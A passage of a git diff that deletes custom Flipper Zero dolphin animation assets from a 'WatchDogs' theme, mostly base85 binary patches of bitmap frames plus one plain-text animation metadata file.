zcmV;>126mm0L%lbX=PfiR0t4X|NI;ZUw{zcAb~-ufCsC#{e*-7A;FbMs;~(rMoIs_ z_y5514~+tqf~wMGP@Jt3?jJA!*YLGL`A8r+4d^{!Q3we9vbu;6FzcWpsZ~qk5QIXq zde7)Qqu?R_@4xkWRaT=&fqTLQKLHP~UU?Y|0to@s2hP3%AAhVqdXb>t!Gtd=|L87S z`jn!zM5yZZMkN3YJ_$jY!^8;9uo1oTUPVpn_8MUa3|` z6_lk^s9i};S2cyGX);G4k<_I<9dMvlV^P&X6T{MpVBnN2RrD+{hy)7(QfZBokrk*# zEE=>((2oP9QHTIwT09j4i?@+b1LFb6IYQeln#_yAt8iLq%=+^{@N}Z{6?#(%FwYCOV*-Q)&KVHRbJeZfqIqY zYFe42NPHjo1QJC6>eah3C;$L$J6h^Qbd(H5N&`UsLZlE$Q+$Vm0>wz78BAC5hXRn` zI-l)7OK+&PYPC`-hx#U$7?r30Tb9)zPl15Zd4KI+_J5%LY03kDF^y9xDB^!@wSKHC z)k=~|Vxb{`NN_O^)CK_{sC{C1m?naeR+mwCwQugKsfEYyAoMQ9U6L{w&a2zI|I+tY z|K8RpCK*JEiA1#4{qc=aFj0e5?QlNCS!P7^7T zfkk2vfCN=2wO;HHUs6d70t8>#Bm$EXI*um^M4?E4#Xt^;zZJs(fSwis5Ca?{A*uik zTB}v+;zp}a;>O*uA_nQAfI%P-2n<99Fdz`bVh{*KBM|_R zKmg(ZSRhbB!~i&s07xVo?ADg9asugg{_G z2;^wAl|qH&s9U_OBp*^pfDot{00V@MAs~drq<{s4Ngyy71QBEKAVc74MzN?!0R&MR zgaCLo8IG4#3WY!361`0s}g+yvq3MB@kQI%??Q4zt1#KsN_Mz zDv4qWC`KFx3ZYRKj4DF_&}ga}+ND4gGK#HNRjS!LMuDZ!WT^oG)l#aZ;Q$O!K3XYN zQz9P_faOWz3K#_=TH_i;Mxaf!JDufx1)Cnz6V0NVP7l@dNVlNp`AVVc8y9G=( zA_27%$6LAwh}28vY6=h>OCzRW327B&Yov}3RT?Uglxspm9G9qGVxikqtD-_Dmbe~b zQbh?okp!9;P$)tKj}m#+)g(V5(CWwIr4J8QsjC-^N~k&#c!>mlRiGJa$KoeY9~Su=)gDCgRSl}^ zR|J&GAqjv$pb$zR5TOtZ1d>4nfIu+-A%H+YWdNW6gdA7^2!u=&Au$k$0BC|Sh(IC| z3RX%%K#5SK7#SdpP`<3!L>M&;1tNh_sA{!PL}9=oLsGzCsv3}Z!lEPc!2`yjAiz+nIS_cs1>zq-c?-s) zs+CGb;-n}Piljao9Y{Vpfq1|uI0*oJ@PYBv%C&PSk^J#M@t_aNqpjUV1LMH5=yhF8 zhNoAms#QnhRf?>JiVqn@K$bMBzf`_DsG|6ExtLnE> zpm^5DL+U$-z-e9HrmI(K2Z+?uWvkm&vbLrmgUD)9qM-VMVnY=GgUAj#>r~WeB=XjV zhBZ{HugaBeH=SHkQEH&5NCHnS-7Bk9f1gsUj~`mBQ{+z_uIThz2l9 zBoaj;l0s<$0u&VlT3`f_QDU)7lu9Y2iAriYO(29|5GV!!L_jek5j1fT2?YR*aEPR$ z3I-^sa6kq+Qu2TaAW$KAfJFFWkp_q)VF0oZ3_>895J_M`L@_WJk4OY0^Z*VZNJtk7 hlMKNmUr{lQ5JW+P!W2pc1c5t58ZD9z7@-0J10Z(E5UBtF diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_8.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_8.bm deleted file mode 100644 index 752841ad4acbe1efe2ca19b7e6050941b6fb953b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 769 zcmV+c1OEI00Q~|0cmu#50Pq6DARw2JNPq_dh(tgQio^{losCKC^AUS~$Fj9#osuTqjl1L;7!3m^_ z6C|NXB!od73?xj%@i2%KmXIbwnaB%-3L)Tu1VUf}z+xc)!h#^g%(wusp#~CQAfZSo z4Yx-o5K1AjOgae#!w@Ht+)V-(71?S(zyJSl5lDy+QXnZh2eLFPyl3^5WxOF=!ykUsX!V!Uy6a7^mZZt=7Q%LSs-?CHuo_hs ztEt=9!-KWeX{%LG_~12EYObUISE_&nBsCy-;53@5r&iJZ5eaa0Vc`diV^yl^GLb2uD1rlk#12O(BBbeLR820bNdgH7_;e6z ziA-Wlp`fY2}i5r||2MGy&(5XLkNAna9wrf@!) diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_9.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_9.bm deleted file mode 100644 index 33b1d36311092d9ad901f163b94366d4e6f78752..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 778 zcmV+l1NHm?00sj9cmu#50Pq6HA|RNFL_h@rfJlH1grEv{bzTCTARiTNNEF~gSfpU6 z00MwSVi14=ISiZvlcpq(KtkEYbty|ExreK>^SK3P4LAz&#FxFBZs& zi~sJCh6Ki03jBa9c!M~=#l&AIC~%-L4hMes2XzcW0U^GnjsXO*e*eMp1djq9+c5zA zH~#pr-2Z{X!~n~=_T7d`1CWoGMGP?kxc@u<>{wV}e<%=WN`wO)w(D08#BnIP)~S#W z`S<@t;1>;83_;5f|7+^C*au_2EGhx~QswwBj_w6?jj{$n4ix}^M)7y7`(QiBTIAqR z848%c^=)2T>k20*RJptOaBwDQ&?pGvkzhai`&Cy*452|o zrvVX{zO9uI4333`z(fi}K`-X7RjS=>t5#SEyw-xC87)gI#MM=(pz?uX1O>39$#goc zE~b@5gpbMrM1XuMRH;-)wsRaUB7`p!2;wi8U4;;!I-0Z;J|^LSMN8u-qRL=0tzAzy4g{9;4xBOhoYeYq)4C<9ia$eatsNaa9W)fO8`F^CWfn3r9?6e zF{orI6j@Xj2_b|;Fo)8VT_Au#0Sy%JAi-6L0B~F^1u7*7kieuA2_xj76#%HgU_qh< zj3LlY;ex_|Vl5j8JYZBIh=NN&fPq0NFbWhQ$S0wNVo9PN5CEk|5FZ%^0hmP5SBu0z z0}#Mq1HxVyB?4GOIz<4KBay%ih!{X2EeHf*Gzdb(L?TrXz<`9>A<>YA%;IKIA`)O= zBob5+q)7!J5DG+q0u>PoL;!+oC`({Z0u3>Vh6D^E6Bv{RAp*bv#K>*Z1PD~{6o?dw Inq;AX0D%WDzyJUM diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/meta.txt b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/meta.txt deleted file mode 100644 index d3a51de2f..000000000 --- a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 28 -Active frames: 0 -Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 -Active cycles: 0 -Frame rate: 4 -Duration: 3600 -Active cooldown: 0 - -Bubble slots: 0 diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_0.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_0.bm deleted file mode 100644 index 97168324335f48d58efbf62a24b11742780ba4c3..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 407 zcmV;I0cidK0Fwa#cmu!__<@7>`5y=Gg8mQO2mS&O-}wW-(C{hz0H^>MK|nz%_#-sn zz}ye|0uBmBkHq|ZWM+UsfkF>H0$zRtlb}Kb$PZM3P$^~y2azPO7SGv%Fbo3!!NcX- z2a4S2K=Ul0XV}MZdjJ2TV;2xSjVFE=h**xo4}Is{9)mImiRAeo@Oj`3LqIo(Jo+8+ zG7!Wb*bgCD0At|%1JVJ@|IWaqBOeF*|2GGp0pNi0Bn*TfGvIt+0qK5c5}`rs{tuWv z1?mqF`-9*hAoLT6Js>s#z=PAq4`~2BAUF?*JmMed9D(#9^Wc0Z@E|C|0pbJ@dj1*4 z4?&odkN6KbaL~c&(C&lz{GH%>8V%|o@`5_VHbD7<1Lu+c2b2sRiG=J2%pO3Z|G~xS zKY0i~U?B0ogT@XoHTc89?+<;5>_Or=AbARe5+DH;j{y>Z@^Oefg=63hoD29WAjp6O zHa`H#a0?_4QYeN>5AeZ;j2?gfI1vB-aM6xP0Q>M%fII=<4*+-rz#ahb2Y@^Q-~_Cm BwdVi; diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_1.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_1.bm deleted file mode 100644 index 95479906b2a94ddf3256d4b1c9f469d17478cc57..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 792 zcmV+z1Lyn!02BlNfDeCPs>t`gzt}AR3AK(>y1j4cEq>rK4~$3q>iq+f4*(05R;i@v zV!oi`zrZ0H0QqHVS4|(-9&!2w2&PrKr4y?v51_bU6i?ukb9pN!Y<`{`96|%||Mu&8 znx?D#4?4t>2@nU5_f-V4^-IZ&hF~Bb5XjW4G_SP#fDb7&B0~hifB#yk7ME?i)dR|t zD1=Bb9`F4t6D0cY!{;T8AO$u**zH!8dY|^e+oAHwD*(`Dy1?JLZW>? z(SOgj`@c9GW;Gy)Ks}ebe#>|32c>cw0)S+HALw6~?cN6$d-tlsU?7kW#qQtO?d{R& z5tEz7MEV-uR{ZuL0cxRA2t*^{d#n2NwQzc6U~n7`1HjrGxBI#b8~6xyFcEmbKAXRt z_gD4?4}1hZSq2IT67X8R{=fIEUXyr2cxWCi*RH=+C#-)35RgE87QbG<+Kn&((clAYkvnf*vXb64g}? zsJKbv5DyLpY4zo|621Z$Gy;VHsAhlD@%zAV0r74e;SB);qizw0P=)` z#taWFe?tEv{y>H03i{n3-KqcTI2aXOU%78>+0rAhy zAQ9ks$z&1@PND_L zU_*ndfMfu}{*S{YK=HrfKadQNIDzATpPL2^^8dhpz_E%zOaea`dT_sA`W^5XGzdiy z5>WKu$iE9Ak4Pj?K)}EOBCIRGlw|N|3?L#h3Kzt3C&B!UN(BH96p8`B2aN(jd2aJ9P1cV315m3Mb$^n0Bjy!xN@t{DWQ4e@L!{dvCV}3M>ST zULc`}6a-{3EjX005Ru5xM`GX@1d<~Gp##bVAQF`z5LgU^6jUH#hn@rsFhL1uF%S^Y z&s3v950r)gDjrrsO96oY0pk-O3?d>V8B~*Dzao$R1OI`GL_$yx#s9zz7{~tu|2l}o zO$GkHz(4T(=l{a>5LnO(<^R9nKa>7<|L6Z|i~=KsfOG-lK>lC+-~YHAQ^G+J*n!3Y z`v393!T=Hgz@T4%dH#R?f7m>y>7gcwJma7Kf5aX{frM}X#t#svgU|mE(0l;K4-tTZ z5(5AOB3Nx7@;LwnLO;MUy@o+}2c$hRAOnfuBoPq7e?j6-FgU>AQV4)NZ{U%Sq67eV z^`OE(pT7D4fyg!{sVoQ{^Y}~%kVD}B7W@Qr_c0O>Jfx9?y+{EAa-prz04%}-BtC=i ZHjuH32NFCfK*huW8~~+&4jv(d04zENX955K diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_11.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_11.bm deleted file mode 100644 index d2fd05476ac767cd0445c4f3cebe43adf8b1826d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 853 zcmV-b1FHN108sfJnR__;`G$;qi!4 za8L*p5@+z>gU&t=5!l2iScnA4x-j7SSKtvTBqIS3na2U+hzFd$LqLE)Xb?boLoz_~ zg}@-PBY?moaOmVCKo2kc1b#4xL_z^Ghfkvj^1t8VGAN{E>#+=Ye4zLMaKSK?NQ4Fr8Ng@3M2_!*2FgP=~RfT_%;VBS=NQA^bTn1q`Mn!;D3t{Nl(z9SKbUMM~b|HFUtzzc>U62b_^E%1ti z#)1FvU=@QzgwTiM4&XxkAJZ`49U=f66oLVOISd2g`2mgsClH_rMPwuK1&@FpaIj#& zBnC212t5?z1b}1+A_Ne5-a+NQWe6}w;ujHF1BwCs)QJxPNC%JsKY+1x3_w62^(Bw^ z5GC<|6b28_a0mc&kRSX!;2_~&j2qz}2bbyw4-nx1Mv)JkO@Zb8$N%r?;fTOw9T^4Nd`9&_~Yl|%qhi3C;v2REq1Gyrpm zz%>wnIseWB-~$|9MFh$N(IP*9G0)_f2;e=xKx5yNhjP;29v}Ymfanv@0DtZF4u3I#a3SII{)AHpXPjWNgYf`F9$z`2Uibl?4Wf0AWc7<~_!wt^qTql3_5POrCH=xjfn#_FmH-|({U!d&9}szb0p*Yf zjDM4U#eN|W@L2dDVFDMO_EUY5gUbL9DFA%EH|mv2Auk7zOo8QJ;eRli3KSexL^64~RTs2=c$*;MpPY!82Tl+zLLxAN}tC{>VWg z8Vm#iMG=9|;28h;v|w-uL`o45p+q2fEB*sMFDM?1At0e(p%6$+2EBlfgUcsCkQ+w9 z0HDCi!@vie4lzQcL?Z*?g^mOsE5W~`Mj(9{H6j5Mfj~M8!vDzPMZt(*U{Huz{CE@n z;5={?2qWlPLqdrI$B{q$1I7ykkU%Mv0eHo$kPmJA9zVGZiUlcx-U|1|9SQb7z{{z3_q~akG2qcA|FzyH6!TW$zI1P~{jRamY7<2-E@ce?u0TYPi zVhj$@B_*L2MLt|5dj03Jt1-_6Z~kH2qE}E<9P>{_`ot51cat5;S-2BpdZOv za9|KB762YV1pYwNgM`RHB0%^5LEum*gb@BPK7mA_8i)t~A0TLqCJ6+Gd?Vr0f&b(1 zh=m1YIv9N7Y!5H)KmUKgVIUAq527DDrUTAC@hk*N3F!at@A1KTgM?r?26+B}!+$A= z071kE7!?Bo2ROw7R1aJPqre9^j6#VB1DGIi1K|J^T}U}VdSKw6fHBYHkO<&C69QH{ z{{8_#-UHGf&;p-+eqJ2lJtO`=Df#8#@s3Z$CtnJu4j&*7jQjcj{gMP8oOphcy&jKW zx8#x!u0Q?zkI%#7{}~z7z=s|OkO6_|9|yJVz99G?5D34a`|pQ`{{ti(JbxhZRT*(L bcCEhGTLZ6Z>b+Pdvs3^Yt5tr)a)bxaor-FI diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_13.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_13.bm deleted file mode 100644 index c3469277a44e3cd657178ca1ebc27cd4f4d9c4a3..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 859 zcmV-h1El-`09OOQ)qnLV_!wt^qTql3_5P?lf7Gb(EN=kypYm_{U*QV;k4 zAJX+vBvmLlJdOq*8Go1MDXPR|!t%IiC-DII(CHAZE{cgK4VT07|A>ReD^aOZX)#z7 z1MrME7(8h-sU%8CKo^hx7k~$hTplnQjVDWxib%tPZV-6@hD#)wM4-4C7l0li@}Gyt z0g}Q{A`(fTqxugx`8=Q%C{-o{GW>tw;q;HtWl{+S2tGf-c;bQQFN9$+SgeKs9&W-1 zjt@lykU%7nNZ8D^nn#%)#Ri2bKT-M9W}<;|jz^f7>*9eec`oj3QA& zlIbK-Is5`YkN^L#@H{0VB?!O_#uEG-W_(^$IRr*QV#!i5P&hmTF&_t%PLrgPU@Qg1qvku*neU3%3wU>?-3vj5{2{=4*oc; zFYq`)BLu)izo22ipauZ}2c77Y{}2labV28lpnO2*6^Lm8=yw>0kPLD9Bm*!H zNE{RL208qafgA^=JWQza-U1Ro=m)G40h|ORJj#FmJ9wj$@KMjgsl%7Z1LHowfBokH z2cUdpm1y*P_zY0_&EN=ky&+5PW-|VV93mKlq3|WqnyxmrF{K zz&?n>frG}ErK;-XSrK^u;dlUe#lS<6t!lMZDO8L&CLsrqytGwZl@gO8@B_p?Q}B4u zYPu;TrzJD=e?jLT2aZ<}RjSgYvoFW~4j)bZNfA^!`iy`2I7Eu8 z)P-SU0`cF2(i2sr;UzjqhKeK$9~J$^Ke;Rm2{O}SsZf}I;@{xE{6GIX4OXK_jOip2 zNVdXu4;lym!Ii*aBvfinDzMM?*d0Y8v@RU=bWf@A^j|F6_CQXCed6$j`+!KG+`|MT#qXv!cu2tUF;O*gRL z5E$kTCi6G#+vAc+d2*N}u#hGWg)U!NLg~1tSOsILUOu z2UW=ngaA;C1V|pA{0x(-1~}Y9NeBm|u7&gi9Da#_!~@cf7G3;;0bB$mf20OU{1O4Y z1SNdhAOiQN%Q>G6AXPkauz1H2#5f>&Sm2Th268-rKzcWZX6(d)xRtu(2R| afAxB)RoeZN;DL_J9z9>~xAkg=f`F|7ye681&vFms)^$(V+{wj z{(~jN(qhFi51r&5U+TRgrIN7-#s)heaX>$raoEWvDDF>C-6uGa1fdPkUd}&4d5Xq;8gd=!{eOKf=_-APaM47F~o5m zNFJVee1JYN;5h!lr~n=uKS^GXN0I`PKml>_|KApTK41UneT)MFx_m0JHz?zxufFEN=kz^#F(c{f>gi;14W-EN}h){;L`#t)TM21Ij=zF8}vk`|ZntU z9)BtS{;#dIb+uhxw9Fnc@OfYV+kLNlYj)l1L+64Am;T#ps_S*NYphHbF#LEttM$I_ z+pDU!>fs^r&*#DAtJMPr+gq*gU?8!_$HC{-z3qCwuD4ni3miB+Z}y>J*?&`X? zL2+aM?|6KA+iz{xTiUG$%Z98a=+>&ay=lyKQ7~BWXX-ItjjbLa(W`4=U+wrk1LJG! z`-&nT5Loyx?lJw_b+xU`*ITx$MgJFYc>F*AJzZF~J-<>AVcQ7!Ja`}O1zT5Yy6dZN z0f%rPeh=IN1;F;&t9;UU+O=@#1Owsu0geK%RjQ*$YD5?~EPMd+fN#e`s@B^=f)9WF zUf0#N2?whN2bJU=U+ez2RO1o&z{g|`CgvQpst3B*ZBq?3dS!J(;SdylfihNz0PS^A@PG1y8*EJ~7Prb?^WGJUl)*#BqQdhcA#&BY^r3 zj*?v-k0b}~4NrJ{asTd?ejFd3KK^%txj1PB&@X8Emc diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_17.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_17.bm deleted file mode 100644 index ee4024231710d150474e4450bca0121893e6d466..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 771 zcmV+e1N{5}0RIC2fC_#F8Q>_m0J8ubd=@u=eRt!)vG@baAPr0Z|L+e4kAem}U%&sh z1Q~cJZ~*d<2MhpT(D`5hWDhU@>;_x#SwIM7Apa7}|Ly;M;NbE&7(8#|@evOCPA@Bl zf`1SXkTiGy|9E`&?elH*VF8~i1xx9(v_W%rx zI3^(nkbHjsz2EfSGCu%3L*+jgkO+7E-?Y!rk`Q|R_Wyr*2xfnP`|tnV|JM5TGyVg| z5D!o9y#7A$_=C$N4?F(9dw&Rz-ZmH*c}PLxo-cp4_ut=4!Q&qvmH+*3w%>RC|L?3m zVDk@`fA{v=|Ds@VhvUKL+pm80_5c0e5(^yud>%&8E|2%?ZU4YjV~>x6%kNkB`nKS4 z?!v%hhX;-Qm?7~%jkdS+cVWph4o(AO64UKO3(8`|F8@$H9LGkMH|m*X@=g_rAsd7VvodKf61B-0(g7 z?RVb`*iOOYz!8u4d$-!&{{Q{lJAnuIe&7&J2H)OT7wGlB(D(!ZHXt!+59?Rf-u-|5 zcyKI!ACMTpH|(+h{rB~+>>NHo^9B#MwO=U>ydGQ)$UKn4zrX!$_P^W=c2WR&e>?ua zZT%!Y@Oc0cEI01|U4A!UdyB{J9Ur&%_Xp?@N&%>Vmqx#D_V3;zjTrcJ;BFHByu~Ik z{lwfJU)*>+cm028#6jc!rvuJD2_N`yd%!_E2)zNt|LyA8;s7Y}bifLq5CKE*5g>Zi z?Vx0j#59nA`vcZR0K@_leh*vx5`kO~<2ZML`uoq|kPPO04n6SmdE(~b&LfOOf-&LC zz8lJic>@!4t>;@;fx5izo-7fc^jYJfb5A4~hN%zj+*{iy?&Rfr#ks BolyV) diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_18.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_18.bm deleted file mode 100644 index 8c3b6eb3d848f2f7d31045ef38d28dd04530c54b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 522 zcmV+l0`>g?00sj8fC_#F8Q>_m0J8ubd=@u=e|!PukO$X-20LH@!@)y0n!~^UQF#M1_i|-p3jz7R3sfZwBw_z*vb?g0b{h&|vC z4+rE1Eg}FXz77i?fIOfL;Q){Te_-L^&r5q3J~tC^d4F->`2SnXCH~KY-v9R(ln4F42e<%1 z<3LV`0Z>T~z(j%R?+?8~NeBa<>?YCp76TASGK@(e6~Hk&OaPPe`0op{G8z050h~WT z0DN%p_~&E5`SZ)<5e(oy5F^8f-8%8;^SQ(2kN)(l(ePTWPljL|7upfC_#F8Q>_m0J8ubd=@u=e|!PukO$X-20LH@!@)y;1BQMKf&XQ2lKF}<@b$-2OfVQ{DKBP4=eb6;~?=To%{?xf9M!}|G1b8 zVfgU+3`_i^#Nt^S{sNU&?rXcz^rOOQatr68}Zxzui(gf%g~|PTn6J usC-*U06jgvb4%%Kzu&NX)$R3Otg2c*U;#qy8d)V2zc9NdR#i#V)q}_`uJs-O diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_2.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_2.bm deleted file mode 100644 index e4ca0bd0d6dc4b893e3cdd00e3d29794a2246e9a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 700 zcmV;t0z>@)0Js7G7lZx)8mvZ>`rrD21P?9%7_tqfy57QwKrfa9{4@~ zAN$>3EC1Vm!RG-7rP`a-)`Ltw{@+}y`~U9;-{JqgYiV15Xng_Yf(MPB*OUJ5{^0Y1 z;35I>@Aj&dO|X5Sg7ecrqyXU{hyb8t^Y_}n7{B85_y712Jt0|mSGM+lFYmlQzAL?7 ze4Ztklf)ig4*#pSn)ZFYqR}Ujz`h#)rv6{NzlV&Tau0>S{qMbfdq(sploR1E{^#|+ z@4x9DkO>I9asT`M|8#yu`j(5U+-DFRi|6?DqD$<)M0$QcU~%$g#Gga_hIAOe4Da7YviMFIE=S;jKh2zaC%0`Uk)>Oa_C0s#;R4?sMd z(fLDQ5R3*A0f8l;46d>nAh?1;Z+qMZ10sSih5!$G>WRbUD6f=D7U0Q<$_1hEJX z0txyaqd;<~!Gt432tS5d01gT}D3pRjK>aev+AI->$Z0ev1SA4K0O9@q|N1IyViF+; zz&=3Z0hC4s5*`gEfuisimj4N$o5VygC`X{))JQ}IL87TjBs>uN6UM0pghDVdPLM2t i=Y_&6hJ`|kR5$_lh(sw+2}CDD3d*;S_75E`Dgz};0!H@$ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_20.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_20.bm deleted file mode 100644 index c979d35bb3e88bf0a716372a219336c83ff244b1..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 538 zcmV+#0_FVy02TuOfC_#F8Q>_m0J8ubd=@u=e|!PukO$X-20LH@!@)yST1_B-$as%tZ zpQywE5wKYJr|mHSL{ItO;NQXH`v<&V@q6%J{vX|l{w@*lci zfbsw$$-(Z@ct4{a4J#xC9`b*bejxyme{gB|_)XvxC`a}l2^9jv|C0O=fPcC7jMu@# zp(eNhn;u>90E!sz4vf?6-lL@~5NhR(J?|)RNZ$(TpN&Jfo zTr3~~etP_*qq`pm&z@f;qUX23*Ax$)pLD+0Yv8l}gj3hA|MmCr;5h$FMguK51TfC_#F8Q>_m0J8ubd=@u=e|!PukO$X-20LH@!@)yWIQYE)3j+ZU93OD8knv;SF}{Nnz5*DSEO=?e z_lM(yKT(JR1LMEqgYFg!9}WL-j1YUpzZd@n|Kb1mgWex-mxINCJ^*}hAbt<*0#L#r zdq5x`56BEb=5arGJiH&U7~p|q-!K2}4+M}0%LyO^i-BnJ2p0$=M!Y(cPz+i9~ zg#tqXfIg1mqgMyKfBkR52f>%XD#4w*Q>1K@Q}{2V~`MkqYY1ORh!1MF>a{7wJ> diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_22.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_22.bm deleted file mode 100644 index 8e69e35e29a963e19acf2ce968201bbd3fcd46c7..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 536 zcmV+z0_Xh!02BiMfC_#F8Q>_m0J8ubd=@u=e|!PukO$X-20LH@!@)yNWurNd;}!&;jwoeMP}z;Gek1_y0za0OMba|AznY|MbJ}5BSFYAN~dV!VirEpW*$2 zRa!&j9&{A`~jD6C)G`3h;mhlhsnPlq!^qL=O~#(de2f7E=k7AD96$`zU=TlQQbs zPx18M-&GIwEztM0019wFhghrICwn22dWAzzIW=gNUFhst403 a%fg?00sj8fC_#F8Q>_m0J8ubd=@u=e|!PukO$X-20LH@!@)ySC~04O}O@$q^978U{?I6SYQ_kn*#D2Qk8&*?P3Pwq-pk|?+CPf3J&e{xEVC4}GVepc1e{OY8c zR51I&qrX@VuE~}5>g83tDLwUcq1e?bS}dZ;>iu6>Z zwRXTfumHyZ6dWE<0ptJ%0uMD)fCwCL4}dx^;PmhV;yw>f05N~xfBZZih6PxOd7y>| z0}Kv8AVY*3kl=UleZap1!~hin009sIem}qM`1Fs*5J)&cKm$J?DnbG3G8BU+iXj5P MKnjDwS7L#{0yu5@mjD0& diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_24.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_24.bm deleted file mode 100644 index 0044ffd382c1bc94cf7d542ef5190fb8b0172f11..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 441 zcmV;q0Y?4-0JQ=CfCe50FYp|I4+966;2%O`_yeZ?4?Y0Df%S)jgUbLOsPMqd69JwB z`tT1w;ktYf6b5R&Qg{VY0$?Z@&E#uQiAsQ$8rF}KLUGe172KpM%ywKp+7A!SU_N-^c1ci}|%+ zpya3@#2&BlfdkJ7&>#X=^biOjeBeLe`pe=F2nal^kQ4d;NySJ82*kNCHh~Y4upS@~ z{-Esw2c>dEE-DX_55P_uG`En3X@|xDn}|bHAO$vSM@#8MuG~SulBi0tNdA6anIDv-kb~aOaT& z+^#?E__)g^k0AkH>0skX7<~W_fCuPUh4^U|fd}v(qyYz+7=RGa jA$~9j2rxkZr{q462!KKy1V6xkya*rQQh^8j!8`xBb=}U* diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_25.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_25.bm deleted file mode 100644 index 82c4214c7e23a5e8b8e2b9fb239d2370147c0cd3..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 539 zcmV+$0_6Px02c!PfII*-@PBW?m$m+Y$NUbS|8}-M@CSf1z7X*LgZu6v@qdIo0o!ng zfD7M!_x{06f46}NqF?^?@87-qfeZip@07E@@B5&$?kq3`Z_9oAEVu!y{{QnoNBzF- zleGXK1OIoI@wEz>ltSvOB6))iSZfjAZU035?(6=|1#mble(E~k^=iM+0E_DX`z*Kt zI{vP)Lu>oc{#XCLz4IMf%l)g?yh`BX>Wc^L5F2i)+gI)FwbsuMPdLSRrV?Z3d~_p5|dD!~yC=pMWM_uckgQm}*D+xI+*D1rmk2e0p4t=(#} d+g;Ua)-GLj*S7f^uB=`?qJn$xdi||+0w5F=HAw&f diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_26.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_26.bm deleted file mode 100644 index 7db1d43b421b00f1a0f30c7473402accfe6b63f6..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1025 zcmWlY!H%mo6o&ggRUc<=rHqoSs!9_PRuiN_#Bb4Ew_PM+SOL;l;HMy{Smvxd2)qJI zvFyLTXYb?lpYwgc0IpW!;t`6cfcZU%>$2=TQd>QqLV1n(9J5$1q?>-5F#cW1XmwyX zoN}rpLzI`yf~*)*J;Pq)$E%u`J+0-fAwRmhU%(l85yiSRnBMl>E=Ul|p_G82=?5Vn zA{*7q*2+z^Zj&|!s}(Oaj=Fm&d=5{X`Q_g*DX)H;L|t}=vdcGjPO^F1mN+(o4zdt{ zuVsO@+)r;)m91c6sh&u6rAD6KVInPDZb{8m8s+Lc6E6Lg3;tETuC?Jk2-qGz{!?$H zcC&y~$X@)Rb_h#Ad`#KfuD8Wl}`KiJ1h8 zQ!VJ+H#A%{v)6Sn?DQ_%4FG^fbg#xvfNQmuuRd=;| z^JT>C_SWTj2X-o4+xyvU@`I;_9%&{JO6{8>>BkM~z9#p|C1!axO=*!Z4dcUA%GgX` z34K3FF~bFh?Vt^6B9qMG^70a6^`!k<=|}Gh+pKM2y+f^0M%on{nY9(5VV4KEdS6rs zKi_{6eqGTNPY3^IVec=eNr%SqeIOB56YJ_|{VWC;Gc5!(crHRV+VM->4HSD+nNFZyLX6uCD<)Z5~gfqh)Z+Hp>k1pLOa}d{`_Hj5S hVFF?ydo@~}1@Cq|T`j`16hS!Z%wq}O`$PT^{{!;zEYAP{ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_3.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_3.bm deleted file mode 100644 index 93122e7b244280bbad93238614641137b97d408c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 701 zcmV;u0z&-(0J#E!z&s!D0e--S05}W-fCVr1zU|xlgVF{MKY#z*+yCEz=>i9x|Nr*? 